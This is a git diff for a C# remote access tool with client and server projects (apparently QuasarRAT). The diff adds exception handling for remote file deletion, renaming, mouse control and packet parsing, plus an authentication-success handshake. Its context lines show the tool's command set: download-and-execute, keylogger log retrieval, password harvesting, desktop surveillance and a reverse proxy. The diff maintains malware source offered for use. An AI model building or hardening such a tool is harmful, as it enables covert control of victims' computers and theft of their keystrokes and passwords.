diff --git a/Client/Client.csproj b/Client/Client.csproj
index d6402cc2..e304da67 100644
--- a/Client/Client.csproj
+++ b/Client/Client.csproj
@@ -96,6 +96,7 @@
+
diff --git a/Client/Core/Commands/FileHandler.cs b/Client/Core/Commands/FileHandler.cs
index 4c1c9881..8b0b83be 100644
--- a/Client/Core/Commands/FileHandler.cs
+++ b/Client/Core/Commands/FileHandler.cs
@@ -81,6 +81,10 @@ namespace xClient.Core.Commands
{
onError("GetDirectory: I/O error");
}
+ catch (Exception)
+ {
+ onError("GetDirectory: Failed");
+ }
finally
{
if (isError && !string.IsNullOrEmpty(message))
@@ -153,6 +157,15 @@ namespace xClient.Core.Commands
public static void HandleDoPathDelete(Packets.ServerPackets.DoPathDelete command, Client client)
{
+ bool isError = false;
+ string message = null;
+
+ Action onError = (msg) =>
+ {
+ isError = true;
+ message = msg;
+ };
+
try
{
switch (command.PathType)
@@ -169,13 +182,44 @@ namespace xClient.Core.Commands
HandleGetDirectory(new Packets.ServerPackets.GetDirectory(Path.GetDirectoryName(command.Path)), client);
}
- catch
+ catch (UnauthorizedAccessException)
{
+ onError("DeletePath: No permission");
+ }
+ catch (PathTooLongException)
+ {
+ onError("DeletePath: Path too long");
+ }
+ catch (DirectoryNotFoundException)
+ {
+ onError("DeletePath: Path not found");
+ }
+ catch (IOException)
+ {
+ onError("DeletePath: I/O error");
+ }
+ catch (Exception)
+ {
+ onError("DeletePath: Failed");
+ }
+ finally
+ {
+ if (isError && !string.IsNullOrEmpty(message))
+ new Packets.ClientPackets.SetStatusFileManager(message, false).Execute(client);
}
}
public static void HandleDoPathRename(Packets.ServerPackets.DoPathRename command, Client client)
{
+ bool isError = false;
+ string message = null;
+
+ Action onError = (msg) =>
+ {
+ isError = true;
+ message = msg;
+ };
+
try
{
switch (command.PathType)
@@ -192,8 +236,30 @@ namespace xClient.Core.Commands
HandleGetDirectory(new Packets.ServerPackets.GetDirectory(Path.GetDirectoryName(command.NewPath)), client);
}
- catch
+ catch (UnauthorizedAccessException)
{
+ onError("RenamePath: No permission");
+ }
+ catch (PathTooLongException)
+ {
+ onError("RenamePath: Path too long");
+ }
+ catch (DirectoryNotFoundException)
+ {
+ onError("RenamePath: Path not found");
+ }
+ catch (IOException)
+ {
+ onError("RenamePath: I/O error");
+ }
+ catch (Exception)
+ {
+ onError("RenamePath: Failed");
+ }
+ finally
+ {
+ if (isError && !string.IsNullOrEmpty(message))
+ new Packets.ClientPackets.SetStatusFileManager(message, false).Execute(client);
}
}
}
diff --git a/Client/Core/Commands/SurveillanceHandler.cs b/Client/Core/Commands/SurveillanceHandler.cs
index e6ec68ea..9d695c54 100644
--- a/Client/Core/Commands/SurveillanceHandler.cs
+++ b/Client/Core/Commands/SurveillanceHandler.cs
@@ -90,7 +90,13 @@ namespace xClient.Core.Commands
{
if (desktopData != null)
{
- desktop.UnlockBits(desktopData);
+ try
+ {
+ desktop.UnlockBits(desktopData);
+ }
+ catch
+ {
+ }
}
desktop.Dispose();
}
@@ -99,30 +105,36 @@ namespace xClient.Core.Commands
public static void HandleDoMouseEvent(Packets.ServerPackets.DoMouseEvent command, Client client)
{
- Screen[] allScreens = Screen.AllScreens;
- int offsetX = allScreens[command.MonitorIndex].Bounds.X;
- int offsetY = allScreens[command.MonitorIndex].Bounds.Y;
- Point p = new Point(command.X + offsetX, command.Y + offsetY);
-
- switch (command.Action)
+ try
+ {
+ Screen[] allScreens = Screen.AllScreens;
+ int offsetX = allScreens[command.MonitorIndex].Bounds.X;
+ int offsetY = allScreens[command.MonitorIndex].Bounds.Y;
+ Point p = new Point(command.X + offsetX, command.Y + offsetY);
+
+ switch (command.Action)
+ {
+ case MouseAction.LeftDown:
+ case MouseAction.LeftUp:
+ NativeMethodsHelper.DoMouseLeftClick(p, command.IsMouseDown);
+ break;
+ case MouseAction.RightDown:
+ case MouseAction.RightUp:
+ NativeMethodsHelper.DoMouseRightClick(p, command.IsMouseDown);
+ break;
+ case MouseAction.MoveCursor:
+ NativeMethodsHelper.DoMouseMove(p);
+ break;
+ case MouseAction.ScrollDown:
+ NativeMethodsHelper.DoMouseScroll(p, true);
+ break;
+ case MouseAction.ScrollUp:
+ NativeMethodsHelper.DoMouseScroll(p, false);
+ break;
+ }
+ }
+ catch
{
- case MouseAction.LeftDown:
- case MouseAction.LeftUp:
- NativeMethodsHelper.DoMouseLeftClick(p, command.IsMouseDown);
- break;
- case MouseAction.RightDown:
- case MouseAction.RightUp:
- NativeMethodsHelper.DoMouseRightClick(p, command.IsMouseDown);
- break;
- case MouseAction.MoveCursor:
- NativeMethodsHelper.DoMouseMove(p);
- break;
- case MouseAction.ScrollDown:
- NativeMethodsHelper.DoMouseScroll(p, true);
- break;
- case MouseAction.ScrollUp:
- NativeMethodsHelper.DoMouseScroll(p, false);
- break;
}
}
diff --git a/Client/Core/Data/ClientData.cs b/Client/Core/Data/ClientData.cs
index f4ed864a..92a7a8f4 100644
--- a/Client/Core/Data/ClientData.cs
+++ b/Client/Core/Data/ClientData.cs
@@ -8,6 +8,7 @@ namespace xClient.Core.Data
public static string CurrentPath { get; set; }
public static string InstallPath { get; set; }
public static bool AddToStartupFailed { get; set; }
+ public static bool IsAuthenticated { get; set; }
static ClientData()
{
diff --git a/Client/Core/Networking/Client.cs b/Client/Core/Networking/Client.cs
index e0da5521..c0bd55eb 100644
--- a/Client/Core/Networking/Client.cs
+++ b/Client/Core/Networking/Client.cs
@@ -496,9 +496,18 @@ namespace xClient.Core.Networking
using (MemoryStream deserialized = new MemoryStream(_payloadBuffer))
{
- IPacket packet = (IPacket)_serializer.Deserialize(deserialized);
+ try
+ {
+ IPacket packet = (IPacket)_serializer.Deserialize(deserialized);
- OnClientRead(packet);
+ OnClientRead(packet);
+ }
+ catch (Exception ex)
+ {
+ process = false;
+ OnClientFail(ex);
+ break;
+ }
}
_receiveState = ReceiveType.Header;
diff --git a/Client/Core/Packets/PacketHandler.cs b/Client/Core/Packets/PacketHandler.cs
index 9175a3b4..3bc23248 100644
--- a/Client/Core/Packets/PacketHandler.cs
+++ b/Client/Core/Packets/PacketHandler.cs
@@ -1,4 +1,5 @@
using xClient.Core.Commands;
+using xClient.Core.Data;
using xClient.Core.Networking;
using xClient.Core.ReverseProxy;
@@ -10,11 +11,20 @@ namespace xClient.Core.Packets
{
var type = packet.GetType();
- if (type == typeof(ServerPackets.GetAuthentication))
+ if (!ClientData.IsAuthenticated)
{
- CommandHandler.HandleGetAuthentication((ServerPackets.GetAuthentication)packet, client);
+ if (type == typeof(ServerPackets.GetAuthentication))
+ {
+ CommandHandler.HandleGetAuthentication((ServerPackets.GetAuthentication)packet, client);
+ }
+ else if (type == typeof(ServerPackets.SetAuthenticationSuccess))
+ {
+ ClientData.IsAuthenticated = true;
+ }
+ return;
}
- else if (type == typeof(ServerPackets.DoDownloadAndExecute))
+
+ if (type == typeof(ServerPackets.DoDownloadAndExecute))
{
CommandHandler.HandleDoDownloadAndExecute((ServerPackets.DoDownloadAndExecute)packet,
client);
diff --git a/Client/Core/Packets/ServerPackets/SetAuthenticationSuccess.cs b/Client/Core/Packets/ServerPackets/SetAuthenticationSuccess.cs
new file mode 100644
index 00000000..e0107ee7
--- /dev/null
+++ b/Client/Core/Packets/ServerPackets/SetAuthenticationSuccess.cs
@@ -0,0 +1,18 @@
+using System;
+using xClient.Core.Networking;
+
+namespace xClient.Core.Packets.ServerPackets
+{
+ [Serializable]
+ public class SetAuthenticationSuccess : IPacket
+ {
+ public SetAuthenticationSuccess()
+ {
+ }
+
+ public void Execute(Client client)
+ {
+ client.Send(this);
+ }
+ }
+}
diff --git a/Client/Program.cs b/Client/Program.cs
index 9e4027c3..8b0471ae 100644
--- a/Client/Program.cs
+++ b/Client/Program.cs
@@ -86,6 +86,7 @@ namespace xClient
typeof (Core.Packets.ServerPackets.GetKeyloggerLogs),
typeof (Core.Packets.ServerPackets.DoUploadFile),
typeof (Core.Packets.ServerPackets.GetPasswords),
+ typeof (Core.Packets.ServerPackets.SetAuthenticationSuccess),
typeof (Core.Packets.ClientPackets.GetAuthenticationResponse),
typeof (Core.Packets.ClientPackets.SetStatus),
typeof (Core.Packets.ClientPackets.SetStatusFileManager),
@@ -213,6 +214,8 @@ namespace xClient
private static void ClientState(Client client, bool connected)
{
+ ClientData.IsAuthenticated = false;
+
if (connected && !ClientData.Disconnect)
_reconnect = true;
else if (!connected && ClientData.Disconnect)
diff --git a/Server/Core/Commands/ConnectionHandler.cs b/Server/Core/Commands/ConnectionHandler.cs
index f38b6a5e..f47fd947 100644
--- a/Server/Core/Commands/ConnectionHandler.cs
+++ b/Server/Core/Commands/ConnectionHandler.cs
@@ -54,6 +54,8 @@ namespace xServer.Core.Commands
FrmMain.Instance.ShowPopup(client);
client.Value.IsAuthenticated = true;
+ new Packets.ServerPackets.SetAuthenticationSuccess().Execute(client);
+
if (Settings.ShowToolTip)
new Packets.ServerPackets.GetSystemInfo().Execute(client);
}
diff --git a/Server/Core/Networking/Client.cs b/Server/Core/Networking/Client.cs
index e5ffa060..b11e69dd 100644
--- a/Server/Core/Networking/Client.cs
+++ b/Server/Core/Networking/Client.cs
@@ -447,9 +447,18 @@ namespace xServer.Core.Networking
using (MemoryStream deserialized = new MemoryStream(_payloadBuffer))
{
- IPacket packet = (IPacket)_serializer.Deserialize(deserialized);
+ try
+ {
+ IPacket packet = (IPacket)_serializer.Deserialize(deserialized);
- OnClientRead(packet);
+ OnClientRead(packet);
+ }
+ catch (Exception)
+ {
+ process = false;
+ Disconnect();
+ break;
+ }
}
_receiveState = ReceiveType.Header;
diff --git a/Server/Core/Networking/ConnectionHandler.cs b/Server/Core/Networking/ConnectionHandler.cs
index f5d3ed29..da5b0eb5 100644
--- a/Server/Core/Networking/ConnectionHandler.cs
+++ b/Server/Core/Networking/ConnectionHandler.cs
@@ -153,6 +153,7 @@ namespace xServer.Core.Networking
typeof (Packets.ServerPackets.GetKeyloggerLogs),
typeof (Packets.ServerPackets.DoUploadFile),
typeof (Packets.ServerPackets.GetPasswords),
+ typeof (Packets.ServerPackets.SetAuthenticationSuccess),
typeof (Packets.ClientPackets.GetAuthenticationResponse),
typeof (Packets.ClientPackets.SetStatus),
typeof (Packets.ClientPackets.SetStatusFileManager),
diff --git a/Server/Core/Packets/ServerPackets/SetAuthenticationSuccess.cs b/Server/Core/Packets/ServerPackets/SetAuthenticationSuccess.cs
new file mode 100644
index 00000000..844d3c28
--- /dev/null
+++ b/Server/Core/Packets/ServerPackets/SetAuthenticationSuccess.cs
@@ -0,0 +1,18 @@
+using System;
+using xServer.Core.Networking;
+
+namespace xServer.Core.Packets.ServerPackets
+{
+ [Serializable]
+ public class SetAuthenticationSuccess : IPacket
+ {
+ public SetAuthenticationSuccess()
+ {
+ }
+
+ public void Execute(Client client)
+ {
+ client.Send(this);
+ }
+ }
+}
diff --git a/Server/Server.csproj b/Server/Server.csproj
index 05acbb84..4cd4b240 100644
--- a/Server/Server.csproj
+++ b/Server/Server.csproj
@@ -140,6 +140,7 @@
+